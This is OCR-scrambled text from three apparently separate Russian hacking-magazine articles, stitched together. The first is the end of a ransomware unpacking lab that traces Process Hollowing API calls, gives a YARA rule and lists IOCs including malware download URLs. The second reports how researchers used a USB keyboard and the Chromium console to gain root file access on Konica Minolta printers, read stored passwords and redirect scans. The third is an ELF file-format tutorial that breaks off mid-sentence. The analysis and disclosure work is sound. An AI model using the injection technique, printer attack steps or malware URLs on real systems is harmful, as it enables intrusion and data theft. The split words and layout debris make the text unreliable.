создает |
новый процесс |
в приоста |
нов |
|||||||||||||||||||||||||||||
ленном режиме CreateProcess с флагом |
CREATE_SUSPENDED (0x00000004) |
|||||||||||||||||||||||||||||||||||
и CREATE_NO_WINDOW (0x08000000). |
|
Основной |
|
|
поток |
нового процес са |
находится в приоста нов ленном состоянии и ждет, пока будет вызвана фун кция ResumeThread. Затем память целевого процес са отключают с исполь
зованием ZwUnmapViewOfSection либо NtUnmapViewOfSection и содер
жимое легитимного |
файла заменяется |
вредонос |
ной полезной нагрузкой |
. |
|
|
|||||||||||||||||
Теперь |
, когда память отключена |
, загрузчик |
выделяет новую память |
||||||||||||||||||||
для вредонос |
ного |
|
кода с помощью VirtualAllocEx и использует |
||||||||||||||||||||
WriteProcessMemory для записи каждого |
из разделов |
вредоно |
са в прос |
||||||||||||||||||||
транство |
целевого |
процес са . Далее вредонос |
ный |
модуль |
|
вызывает |
|||||||||||||||||
SetThreadContext, чтобы указать |
точке входа новый раздел кода, который он |
||||||||||||||||||||||
записал. В конце вредонос |
ная |
программа |
возобновля |
ет приоста |
нов ленный |
||||||||||||||||||
поток, вызывая ResumeThread, чтобы вывести процесс |
из приоста |
нов ленно |
го |
||||||||||||||||||||
состояния |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Спускаем |
ся ниже по коду, используя клавишу |
F8, и попадаем к следующе |
|
||||||||||||||||||||
му участку кода. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Вызов функции CreateProcessA
В регистре ECX содержится адрес функции CreateProcessA, которая выпол
няется с параметром dwCreationFlags, равным 0x08000004.
Далее происхо дит выделение памяти с помощью функции VirtualAlloc.
Выделе ние памяти
Память выделяется по адресу 001F0000. Перейдем к дампу и увидим , что он пока пуст.
Дамп выделенной памяти
Следующим этапом вызывается функция GetThreadContext с целью получить контекст потока.
Вызов функции GetThreadContext
Вызыва ется функция ReadProcessMemory для получения дескрип тора про цесса .
Вызов функции ReadProcessMemory
Происхо дит вызов функции ZmUnmapViewOfSection, которая отключает память целевого процес са .
Вызов функции ZmUnmapViewOfSection
И наконец, выполняет ся вызов функции VirtualAllocEx, чтобы выделить память для вредонос ного модуля.
Участок вызова функции VirtualAllocEx
Стек вызываемой функции
Вызыва емая функция имеет пять аргумен тов, что мы и видим в стеке : дес криптор процес са, указатель на адрес области кода, размер выделяемой области, тип выделения памяти и защита памяти для выделенной области. Как видно из стека , параметр 0x00003000 означает MEM_COMMIT ( 0x00001000) | MEM_RESERVE (0x00002000). Значение 0x00000040 ( PAGE_EXECUTE_READWRITE) говорит нам о том, что в выделенной области разрешен доступ на выполнение , запись и чтение .
Адрес 0x00400000 указыва ет на адрес, где будет располагать ся вре доносный код. Далее вызывается функция NtWriteVirtualMemory.
Вызов функции NtWriteVirtualMemory
Вызов происхо дит со следующи ми параметрами , представ ленны ми в стеке .
Значение стека вызова функции NtWriteVirtualMemory
Значение 0x00000270 — это дескрип тор процес са, 0x00400000 — базовый адрес для записи в указан ном процес се, 0x29915A0 — адрес буфера, в котором хранит ся содержимое для записи в адресное пространс тво про цесса , 0x00000400 — размер для записи в процесс .
Здесь вредонос ный код записывает каждый сегмент исполняемо го файла в новое адресное пространс тво. Ниже представ лено содержимое стека при каждом вызове функции NtWriteVirtualMemory.
Запись сегмента .text
Запись сегмента .rdata
Запись сегмента .reloc
Спускаем ся ниже и видим выполнение функции WriteProcessMemory, которая использует ся для записи из буфера в адресное пространс тво процес са .
Выпол нение функции WriteProcessMemory
Стек содержит следующие данные .
Значение стека
Значение 0x029016EC — это адрес, который содержит данные для записи. После этого вызывается функция SetThreadContext, которая создает кон
текст для указан ного потока, и функция ResumeThread для возобновле ния работы нового исполняемо го файла .
Вызов функции SetThreadContext
Вызов функции ResumeThread
Перед выполнени ем функции ResumeThread мы получим дамп созданно го процес са. Для этого восполь зуемся плагином ScyllaHide. Нажми на вкладку
«Модули → Scylla».
Запуск плагина ScyllaHide
Следующим этапом можно анализи ровать распакован ный код в IDA Pro, которая имеет удобный плагин HexRays для декомпиляции кода. Необходимо
найти код генерации ключа для шифрования файлов и алгоритм шифрования , но такое исследова ние выходит за рамки нашей статьи.
На текущем этапе нам удалось распаковать вредонос ный модуль, мы разобрались с техникой Process Hollowing в коде. Теперь нужно раз работать индикато ры компро мета ции .
Создадим простое YARA-правило для детектирова ния вредоно са. При создании сигнатур для этого семейства шифроваль щиков необходимо проана лизировать множес тво файлов , найти общие участки кода и строки . А для этого может пригодить ся полезный плагин mkYARA в IDA Pro.
rule detect_ransomware0
{
meta:0
description = "Detect malware ransomware"
autor = "rayhunt454"
strings:0
$s = "gdi32.dll" nocase0
$s1 = "moz\\vidaj.pdb" nocase0
$s3 = "<!<-<C<O<X<^<g<s<|<"
condition:0
uint16(0) == 0x5A4D and all of them0
}
Выпишем также индикато ры компро мета ции (IOCs), которые можно загрузить
вLoki Scanner и Suricata.
•MD5: a2f33095ef25b4d5b061eb53a7fe6548
•SHA1: b38a8cb06507adb966dfdb809403f8f7f64ca534
•URLs: https://api.2ip.ua, https://tzgl.org/files/1/build3. exe, http://tzgl.org/fhsgtsspen6/get.php? pid=AD4334DBE387EF198B77CC7408B38C8F&first=false
•Domains: api.2ip.ua, kotob.top, tzgl.org
ЗАКЛЮЧЕНИЕ
В этой лаборатор ной работе мы распакова ли вредонос ный файл, исследова ли его поведение . При динамичес ком анализе разобрали технику внедрения
в процесс Process Hollowing, разработа ли собствен ные индикато ры компро метации . Мы выяснили , что вредонос ный файл относит ся к шифроваль щикам, главная задача которых — зашифровать важные данные , чтобы затем пот ребовать выкуп.

|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
КАК СПЕЦИАЛИСТЫ НАШЛИ УЯЗВИМОСТЬ
И ВЗЛОМАЛИ ПРОШИВКУ МФУ
Валентин Холмогоров
Ведущий редактор "Хакера". valentin@holmogorov.ru
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
Уязвимос ти обнаружи вают не только в операци онных сис темах и софте для компьюте ров или мобильных устройств .
Исследова тели из SEC Consult Vulnerability Lab недавно наш
ли любопытную уязвимость в многофун кци ональ ных устрой ствах Konica Minolta и расска зали о том, как на ее исправ ление повлияла эпидемия COVID-19.
Проблема актуаль на для несколь ких моделей МФУ Konica Minolta bizhub
ипозволя ет получить полный доступ к операци онной системе на чтение
изапись от имени пользовате ля root. Правда , есть нюанс: для этого нужно иметь непосредс твенный физический контакт с сенсорным диспле ем МФУ
ивозможность подклю чить к нему внешнюю клавиату ру.
Когда речь заходит о принтерах , чаще всего уязвимос ти находят в драй верах, сервисных программах , веб приложе ниях самого принтера или в реализации сетевых протоко лов этих устройств . Ребята из SEC Consult пошли немного другим путем и сосредото чились на железе. Вообще , современ ный лазерный принтер — это по большому счету самый обыкновен ный компь ютер, разве что предназна чен он для реализации одной единствен ной фун кции: печати изображения на бумаге. В нем есть устройства ввода — сен сорный дисплей , небольшая клавиату ра , порты USB и RJ-45, последова тель
ные интерфейсы , а некоторые |
модели даже оборудо |
ваны |
считыва |
теля |
ми |
|||||||||||||||||||||||||
RFID для аутентифика |
ции пользовате |
лей . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
МФУ обычно взаимо дей ству ет с пользовате |
лем |
через приложе |
ние |
с гра |
||||||||||||||||||||||||||
фическим |
интерфейсом , которое запущено в полноэк |
ранном |
режиме поверх |
|||||||||||||||||||||||||||
*nix-совмести |
мой |
операци |
онной |
системы |
, при этом к самой ОС принтера |
|||||||||||||||||||||||||
пользователь |
непосредс |
твен |
ного |
доступа |
не имеет . Все действия |
в системе |
, |
|||||||||||||||||||||||
которые |
приложе |
ние |
|
|
совершает |
|
при нажатии |
|
физических |
кнопок |
||||||||||||||||||||
или экранных объектов |
на |
|
сенсорном |
дисплее |
принтера |
, выполняют |
ся |
|||||||||||||||||||||||
от имени неавторизо |
ван ного |
пользовате |
ля с ограничен |
ными |
привиле |
гиями |
. |
|||||||||||||||||||||||
По крайней мере, так должно |
|
быть в теории. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
В своем иссле дова |
нии |
специалис |
ты SEC Consult расска зали |
о том, что |
при работе с МФУ Konica Minolta bizhub C3300i и C3350i они заметили стран
ную аномалию . А именно : внешний вид графичес кого приложе ния на сен сорном экране принтера немного менялся в зависимос ти от контек ста нажимаемых ими кнопок и выбираемых меню. Это позволило предположить , что, помимо собствен ной программы для работы с устройством , в МФУ используют ся и другие стандар тные приложе ния , входящие в комплект пос тавки операци онной системы . Для провер ки этой гипотезы исследова тели подклю чили к принтеру внешнюю USB-клавиату ру и, нажимая разные сочета ния клавиш , сумели запустить на экране браузер Chromium. Возникло подоз рение, что таким образом они могут получить и доступ к файловой системе принтера , включая файлы конфигура ции , сохранен ные пароли и прочие кон фиденциаль ные данные .
«Подопытный » Konica Minolta bizhub C3300i — с помощью этого дисплея и провели практичес ки весь «взлом» (иллюстра ция с сайта secconsult.com)
ПОЛУЧЕНИЕ ДОСТУПА К ФАЙЛОВОЙ СИСТЕМЕ
Дисплей на МФУ Konica Minolta, как и на многих других подобных офисных устройствах , нужен, чтобы управлять очередью печати, сканиро вать изоб ражения и изменять настрой ки принтера . Для взаимо действия с пользовате лем Konica Minolta использует самописную программу , но некоторые ее фун кции реализова ны в виде веб приложе ния. Так, если на сенсорном экране
Minolta bizhub C3300i перейти в раздел User authentication, нажать кнопку
Public User Access, затем выбрать на открывшемся экране раздел Utility, а затем еще раз Utility, откроется встроенная справоч ная система принтера . Она реализова на в виде веб приложе ния, для отображения которого откры вается стандар тный браузер Chromium в полноэк ранном режиме («режиме киоска ») без каких либо панелей, рамок и прочих элемен тов интерфейса — исследова тели определи ли это по изменению внешнего оформле ния при ложения .
Веб приложе ние в МФУ Konica Minolta (иллюстра ция с сайта secconsult.com)
Если в этот момент подклю чить к принтеру внешнюю клавиату ру (все МФУ данной серии оснащены USB-портом ) и попробовать стандар тные сочетания клавиш , то можно убедить ся , что большинс тво из них занесено в «черный список » и не срабаты вает . Однако , если нажать клавишу F12, на экране откроется консоль разработ чика Chromium — эту функцию создатели софта для принтера почему то забанить забыли.
|
|
|
|
|
|
|
|
Консоль |
разработ |
чиков |
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|||||||||||
Теперь |
|
можно |
открыть вкладку |
|
Filesystem, |
нажать |
ссылку Add folder |
|||||||||||||
to workspace и добавить в консоль |
разработ |
чика |
любую папку в файловой |
|||||||||||||||||
системе |
принтера |
, и эта папка будет доступна |
на чтение |
и запись, посколь |
ку |
|||||||||||||||
Chromium работает в этой ОС с привиле |
гиями |
пользовате |
ля root. На иллюс |
|||||||||||||||||
трации |
выше исследова |
тели |
из SEC Consult добавили в рабочее окружение |
|||||||||||||||||
консоли |
разработ |
чика |
папку /var/log/nginx/html/. |
|
|
|
ПОХИЩЕНИЕ ИНФОРМАЦИИ
В упомяну той папке хранит ся файл с именем ADMINPASS, в котором содер жится пароль админис тратора для терминала принтера и веб интерфейса , причем в виде обычного текста .
Пароль админа Konica Minolta хранит ся в pain text (иллюстра ция с сайта sec-consult.com)
Аналогич ным образом можно получить доступ и к другим объектам в фай ловой системе принтера , например к файлу /etc/shadow, где собрана информация о паролях для учетных записей пользовате лей. Содержимое файла зашифровано с помощью библиотеч ной функции crypt и потому при желании может быть расшифро вано без особого труда .
Доступ к /etc/shadow (иллюстра ция с сайта sec-consult.com)
Все это говорит о том, что разработ чики встроенно го софта для аппаратов Konica Minolta не слишком заботились о назначении правиль ных разрешений для файлов и папок в используемой ими ОС.
С использовани ем полного доступа к файловой системе МФУ злоумыш ленник может реализовать несколь ко видов атак. Если принтер работает в какой либо организа ции , на его дисплей можно вывести фейковое окно авториза ции для сбора паролей от пользователь ских учетных записей. Еще можно отправлять копии всех отсканиро ван ных документов в общую пап ку на SMB-сервере , откуда впоследс твии их нетрудно забрать , если зло умышленни ки имеют доступ к сети предпри ятия или оборудо ванию .
Иссле дователи, в частнос ти, предлага ют такой сценарий . Если злодей контро лирует сервер или шлюз в сети, к которой подклю чен принтер , он может запустить на нем свое веб приложе ние и с помощью команды document.location=[IP-адрес:порт] в консоли разработ чика назначить
его в качестве приложе ния по умолчанию (открывает ся при нажатии на кнопку сканиро вания документа ). На следующем рисунке показано такое поддель ное приложе ние , созданное специалис тами SEC Consult, — на первый взгляд его невозможно отличить от стандар тно го диалогово го окна, демонстри руемого принтером .
Поддель ное диалоговое окно сканиро вания документа (иллюстра ция с сайта sec-consult.com)
Все отсканиро ван ные на таком скомпро мети рован ном МФУ документы будут попадать в расшарен ную папку на сервере , откуда впоследс твии их без труда скачают злоумыш ленни ки .
ВЫВОДЫ
Согласно представ ленной исследова теля ми информации , уязвимос ти под вержены 46 моделей МФУ Konica Minolta bizhub, а количество затронутых устройств исчисляется сотнями тысяч по всему миру. Инцидент был впервые выявлен в 2019 году, и эксперты своевре мен но оповес тили изготови телей оборудо вания о своей находке . Уязвимость с получением доступа к файловой системе принтера обозначили как CVE-2022-29586, возможность запуска
Chromium с правами root — CVE-2022-29587, а пароли, хранящи еся в откры
том виде в файловой системе , — CVE-2022-29588.
Konica Minolta выпустила патч для прошив ки своих устройств , но с момента обнаруже ния уязвимос тей (2019 год) до момента публикации сведений о них прошло без малого три года. Эксперты SEC Consult утвержда ют, что основной причиной такой медлитель ности стала пандемия COVID-19: в МФУ Konica Minolta отсутству ет центра лизованная система автомати ческой уста новки обновлений , поэтому для накатывания патча необходимо физическое присутс твие сервисно го инженера . Посколь ку в период пандемии очень мно гие компании перешли на удален ку, быстро обновить прошив ку устройств на территории заказчика во многих странах стало попросту невозможно . По этой же причине очень многие МФУ данного произво дителя все еще уяз вимы перед подобными видами атак — сервисные инженеры Konica Minolta посетили еще не все отдален ные уголки нашей планеты .
В любом случае самый простой и надежный способ защиты — отключить поддер жку внешних USB-клавиатур в настрой ках принтера . Как бы то ни было, перед нами — один из довольно редких случаев , когда в безопасности слож ного техничес кого устройства обнаружи вает ся серьезная брешь, вызванная архитек турны ми проблемами , прежде всего использовани ем проприетар ным софтом стандар тных компонен тов ОС для организа ции интерфейса с поль зователем . Вторая важная причина возникно вения уязвимос ти — разработ чики уделяли недостаточ но внимания правам и разрешени ям доступа к кри тически важным объектам файловой системы . Ну и усугуби ло проблему отсутствие центра лизо ван ной системы обновления прошивок в МФУ Konica Minolta — из за этого исправление найден ных ошибок очень растянулось
во времени .

|
|
|
hang |
e |
|
|
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||||
|
to |
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
|
|
|
||
|
. |
|
|
|
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
Евгений Дроботун
Постоянный автор «Хакера»
РАЗБИРАЕМСЯ С ВНУТРЕННИМ УСТРОЙСТВОМ
ELF-ФАЙЛОВ
Если в мире Windows исполняемые |
файлы |
представ |
лены |
||||||||||||
в формате |
Portable Executable (PE), то в Linux эта роль отве |
||||||||||||||
дена файлам |
в формате |
Executable and Linkable Format (ELF). |
|||||||||||||
Сегодня мы заглянем |
внутрь таких файлов , немного |
поис |
|||||||||||||
следуем |
их структуру |
и узнаем , как они устроены . |
|
|
|||||||||||
Сразу отмечу , что в отличие от Windows в |
Linux от расширения |
|
файла |
||||||||||||
не зависит практичес |
ки ничего (за совсем небольшим |
исключени ем ). Тип |
|||||||||||||
и формат файла определя ется его внутренним |
содержимым |
и наличием тех |
|||||||||||||
или иных атрибутов |
, поэтому файлы в формате |
Executable and Linkable Format |
|||||||||||||
могут иметь любое расширение |
. |
|
|
|
|
|
|
ЧТО НАМ ПОНАДОБИТСЯ
Вообще , можно позавидовать людям, обитающим в мире Linux, — как пра вило, в системе «из коробки » идет большое число утилит и программ , которые в Windows необходимо где то искать и устанав ливать дополнитель но, да еще и не всегда бесплат но . В нашем случае для анализа ELF-файлов
в Linux присутс твует вполне состоятель ный арсенал встроенных средств
иутилит :
•readelf — с помощью этой утилиты можно практичес ки полностью прос матривать все потаенные места ELF-файлов в удобочи таемом виде;
•hexdump — простой просмот рщик файлов в шестнад цатеричном пред ставлении (конечно , до hiew из мира Windows ему далеко, но, во первых , он присутс твует в системе по умолчанию , а во вторых , делает это совер шенно бесплат но);
•strings — с помощью этой известной утилиты можно увидеть имена всех
импортируемых |
(или экспортиру |
емых |
) функций |
, |
а также |
библиотек |
, |
|||
из которых эти функции |
импортирова |
ны , названия |
секций |
и еще много |
||||||
чего интерес ного |
; |
|
|
|
|
|
|
|
|
|
•ldd — позволя ет выводить имена разделя емых библиотек , из которых импортируют ся те или иные функции , используемые исследуемой прог раммой;
•nm — может показывать таблицу имен из состава отладоч ной информа ции, которая добавляет ся в ELF-файлы при их компиляции (эта отладоч ная информация с помощью команды strip может быть удалена из файла , и в этом случае утилита nm ничем не поможет);
•objdump — способ на вывести информацию и содержимое всех элемен тов исследуемо го файла , в том числе и в дизассем блированном виде.
Часть перечисленно го (кроме hexdump и ldd) входит в состав пакета GNU Binutils. Если этого пакета в твоей системе нет, его легко установить . К при меру, в Ubuntu это выглядит следующим образом :
sudo apt install binutils0
В принципе |
, имея все перечисленное |
, можно |
уже приступать |
к |
|
анализу |
|||||||||||||
и исследова |
нию |
ELF-файлов |
без привлечения |
дополнитель |
ных |
средств. |
|||||||||||||
Для большего |
удобства и нагляднос |
ти можно добавить к нашему инстру мен |
|||||||||||||||||
тарию известный |
в кругах реверс инженеров |
дизассем блер |
IDA в версии |
||||||||||||||||
|
|
|
|
|
|
||||||||||||||
Freeware (этой версии |
для наших целей будет более чем достаточ |
но , хотя |
|||||||||||||||||
|
|
|
|
|
|
||||||||||||||
никто не запреща |
ет восполь |
зовать |
ся версиями |
Home или Pro, если есть воз |
|||||||||||||||
можность за них заплатить |
). |
|
|
|
|
|
|
|
|
|
|
|
|
Анализ заголовка ELF-файла в IDA Freeware
Также неплохо было бы использовать вместо hexdump что то поудобнее , нап ример 010 Editor или wxHex Editor. Первый hex-редактор — достой ная альтер натива Hiew для Linux (в том числе и благода ря возможнос ти использовать
в нем большое количество шаблонов для различных типов файлов , среди них и шаблон для парсинга ELF-файлов ). Однако он небесплат ный (стоимость лицензии начинается с 49,95 доллара , при этом есть 30-дневный триаль ный период ).
Анализ заголовка ELF-файла в 010 Editor
Говоря о дополнитель ных инстру мен тах , которые облегчают анализ ELF-фай лов, нельзя не упомянуть Python-пакет lief. Используя этот пакет, можно писать Python-скрипты для анализа и модификации не только ELF-файлов , но и файлов PE и MachO. Скачать и установить этот пакет получится традици онным для Python-пакетов способом :
pip install lief0
ПОДОПЫТНЫЕ ЭКЗЕМПЛЯРЫ
В Linux (да и во многих других современ ных UNIX-подобных операци онных системах ) формат ELF использует ся в несколь ких типах файлов .
•Исполня емый файл — содержит все необходимое для создания сис темой образа процес са и запуска этого процес са. В общем случае это инструк ции и данные . Также в файле может присутс твовать описание необходимых разделя емых объектных файлов , а также символь ная и отла дочная информация . Исполняемый файл может быть позиционно зависи мым (в этом случае он грузит ся всегда по одному и тому же адресу , для 32-разрядных программ обычно это 0x8048000, для 64-разрядных — 0x400000) и позиционно независимым исполняемым файлом (PIE —
Position Independent Execution или PIC |
— Position Independent Code). |
|||||||||
|
|
|
|
|
||||||
В этом случае адрес загрузки |
файла может меняться при каждой загрузке |
. |
||||||||
При постро ении |
позиционно |
независимо |
го исполняемо го файла исполь |
|||||||
зуются такие же принципы |
, как и при постро ении |
разделя |
емых |
объектных |
||||||
файлов . |
|
|
|
|
|
|
|
|
|
|
•Переме щаемый файл — содержит инструк ции и данные , при этом они могут быть статичес ки связаны с другими объектны ми файлами , в резуль тате чего получается разделя емый объектный или исполняемый файл.
К этому типу относят ся объектные файлы статичес ких библиотек (как пра вило, для статичес ких библиотек имя начинается с lib и применя ется рас ширение *.a), однако , как мы уже говорили , расширение в Linux прак тически ничего не определя ет . В случае статичес ких библиотек это просто дань традиции , а работоспособ ность библиоте ки будет обеспечена
с любым именем и любым расширени ем.
•Разделя емый объектный файл — содержит инструк ции и данные , может быть связан с другими перемещаемы ми файлами или разделя емы ми объектны ми файлами , в результате чего будет создан новый объектный файл. Такие файлы могут выполнять функции разделя емых библиотек (по аналогии с DLL-библиоте ками Windows). При этом в момент запуска прог раммы на выполнение операци онная система динамичес ки связыва ет эту разделя емую библиоте ку с исполняемым файлом программы и создает ся исполняемый образ приложе ния. Опять же традици онно разделя емые библиоте ки имеют расширение *.so (от английско го Shared Object).
•Файл дампа памяти — файл, который содержит образ памяти того или иного процес са на момент его завершения . В определен ных ситу ациях ядро может создавать файл с образом памяти аварий но завер шившегося процес са. Этот файл также создает ся в формате ELF, однако мы о такого рода файлах говорить не будем, посколь ку задача исследова ния дампов и содержимого памяти достаточ но объемна и требует отдель ной статьи.
Для наших изысканий нам желательно иметь все возможные варианты исполняемых файлов из перечисленных выше, чем мы сейчас и займем ся .
Делаем исполняемые файлы
Не будем выдумывать что то сверхориги нальное, а остановим ся на клас сическом хелловор лде на С:
#include <stdio.h>
int main(int argc, char* argv[]) {
printf("Hello world");
return 0;
}
Компилиро вать это дело мы будем с помощью GCC. Современ ные версии Linux, как правило , 64-разрядные , и входящие в их состав по умолчанию средства разработ ки (в том числе и компилятор GCC) генерируют 64-раз рядные приложе ния. Мы в своих исследова ниях не будем отдельно вникать
в 32-разрядные ELF-файлы (по большому счету отличий от 64-разрядных ELF-файлов в них не очень много ) и основные усилия сосредото чим именно на 64-разрядных версиях программ . Если у тебя возникнет желание поэкспе риментировать с 32-разрядны ми файлами , то при компиляции в GCC нужно добавить опцию -m32, при этом, возможно , потребу ется установить биб лиотеку gcc-multilib. Сделать это можно пример но вот так:
sudo apt-get install gcc-multilib0
Итак, назовем наш хелловорлд example.c (кстати , здесь как раз один из нем ногих случаев , когда в Linux расширение имеет значение ) и начнем
с исполняемо го позиционно зависимого кода:
gcc -no-pie example.c -o example_no_pie0
Как ты уже догадался , опция -no-pie как раз и говорит компилято ру собрать не позиционно независимый код.
Вообще , если говорить правиль но , то GCC — это не совсем компилятор . Это комплексная утилита , которая в зависимос ти от расширения входного файла и опций вызывает нужный компилятор или компонов щик с соответс тву ющими входными данными . Причем из С или другого высокоуров невого язы ка сначала исходник трансли рует ся в ассемблер ный код, а уже затем все это окончатель но преобра зует ся в объектный код и собирается в нужный нам
ELF-файл.
В целом можно выделить четыре этапа работы GCC:
•препроцес сирова ние ;
•трансля ция в ассемблер ный код;
•преобра зова ние ассемблер ного кода в объектный ;
•компонов ка объектно го кода.
Чтобы посмотреть на промежу точ ный результат , к примеру в виде ассем блерного кода, используй в GCC опцию -S:
gcc -S -masm=intel example.c0
Обрати внимание на два момента . Первый — мы в данном случае не задаем имя выходного файла с помощью опции -o (GCC сам определит его из исходного , добавив расширение *.s, что и означает присутс твие в файле ассемблер ного кода). Второй момент — опция -masm=intel, которая говорит о том, что ассемблер ный код в выходном файле необходимо генери ровать с использовани ем синтакси са Intel (по умолчанию будет синтаксис
AT&T, мне же, как и, наверное , большинс тву, синтаксис Intel ближе ). Также
вэтом случае опция -no-pie не имеет смысла , посколь ку ассемблер ный код
влюбом случае будет одинако вый, а переносимость обеспечива ется на эта пе получения объектно го файла и сборки программы .
На выходе получим файл example.s с таким вот содержимым (полностью
весь файл показывать не будем, чтобы не занимать много места ):
.file "example.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Hello world"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, .LC0[rip]
call puts@PLT
mov eax, 0
...
Обрати внимание на строку call puts@PLT — это вызов сишной функции puts(). Несмотря на то что в исходнике мы примени ли функцию printf(), компилятор самостоятель но провел небольшую оптимиза цию и заменил ее puts(), посколь ку в printf() мы не использовали какие либо специфи като ры форматиро вания вывода строки , а puts() работает быстрее , чем printf( ).
В целом поэтапная работа GCC при компиляции файла exmple.c пред ставлена в виде схемы на рисунке .
Этапы процес са компиляции файла example.c
Исполь зуя опции -E, -S и -c, можно остановить процесс компиляции в нуж ном месте и зафиксировать результат каждого этапа в виде выходного файла .
Далее сделаем позиционно независимый исполняемый ELF-файл (здесь все просто и никаких дополнитель ных опций не нужно ):
gcc example.c -o example0
Также для разнооб разия стоит написать хелловорлд на ассембле ре с исполь зованием системных вызовов Linux, а не функций из сишных библиотек . Используем для этого Fasm. Совсем недавно мы уже обращались к этому языку (правда , под Windows) и разобрались , что это такое. Сегодня применим полученные знания в Linux. Для простоты возьмем пример программы hello64.asm, которая идет в комплек те с Fasm:
format ELF64 executable 3
segment readable executable
entry |
$ |
|
|
|
|
mov |
edx, msg_size ; размер строки |
|
lea |
rsi, [msg] |
|
mov |
edi, 1 |
; Номер стандартного потока вывода stdout |
mov |
eax, 1 |
; Код вызова системной функции sys_write |
syscall |
|
|
xor |
edi, edi |
; Код возврата из системной функции sys_exit |
mov |
eax, 60 |
; Код вызова системной функции sys_exit |
syscall
segment readable writeable
msg db 'Hello world!', 0xA
msg_size = $-msg ; Длина выводимой строки
Скомпилиру ем это все с помощью Flat Assembler:
fasm hello64.asm example_asm0
На выходе получим позиционно зависимый исполняемый файл, который не использует функции из сторон них библиотек .
Делаем перемещаемый файл и разделяемую библиотеку
Для перемещаемо го или разделя емого (в виде динамичес кой библиоте ки) ELF-файла необходимо немножко изменить наш хелловорлд :
#include <stdio.h>
extern int hello_world_function() {
printf("Hello world\n");
return 0;
};
Назовем этот исходник, к примеру , exmple_lib.c и скомпилиру ем (без лин ковки) с примене нием опции -c:
gcc -c example_lib.c -o example_lib.o0
Далее напишем и выполним в терминале следующее :
ar rc libstatic_example.a example_lib.o0
Если ты погуглишь |
назначение |
утилиты |
ar, то увидишь |
, что это архиватор |
. Так |
|||||||||||||||||||||||||
сложилось |
, что по своему |
прямому |
|
предназна |
чению |
(создавать |
архивы |
|||||||||||||||||||||||
из файлов ) он применя |
ется |
крайне редко , а вот для создания |
статичес |
ки при |
||||||||||||||||||||||||||
линоковы |
ваемых |
библиотек |
